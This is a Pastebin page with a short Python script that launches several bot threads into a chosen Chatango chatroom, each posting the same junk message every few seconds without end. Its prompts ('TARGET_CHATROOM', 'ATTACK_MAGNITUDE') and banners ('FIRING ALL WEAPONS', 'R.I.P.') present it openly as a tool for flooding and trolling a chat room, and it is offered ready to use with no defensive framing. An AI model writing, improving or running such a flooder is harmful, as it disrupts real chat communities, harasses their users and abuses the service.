Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import chatango
- import time
- import threading
- import random
- chatango.debug(False)
- class bot(threading.Thread):
- def __init__(self, addr):
- self.room=chatango.chatroom(addr)
- self.room.login('','')
- self.room.set_font(size=13)
- threading.Thread.__init__(self)
- def run(self):
- while True:
- try:
- self.room.say('PINGAS')
- time.sleep(3+random.random())
- except: print('>ERROR')
- print('\
- ===============================')
- target=input('TARGET_CHATROOM:')
- while True:
- magnitude=int(input('ATTACK_MAGNITUDE:'))
- if magnitude==0 or magnitude>10:
- print('Unnacceptable magnitude. Please try again.')
- else: break
- print('''\
- ===============================
- Initializing %d instances
- At http://%s.chatango.com/
- ==============================='''%(magnitude,target))
- for i in range(0, magnitude):
- exec('BOTINST_'+str(i)+'=bot("%s")'%target)
- print('INSTANCE '+str(i)+'INITIATED.')
- print('''\
- ===============================
- MAXIMUM OVERTROLL REACHED.
- FIRING ALL WEAPONS.
- ===============================''')
- for i in range(0, magnitude):
- exec('BOTINST_'+str(i)+'.start()')
- print('''\
- R.I.P.
- http://%s.chatango.com/
- ==============================='''%target)
Advertisement
Add Comment
Please, Sign In to add comment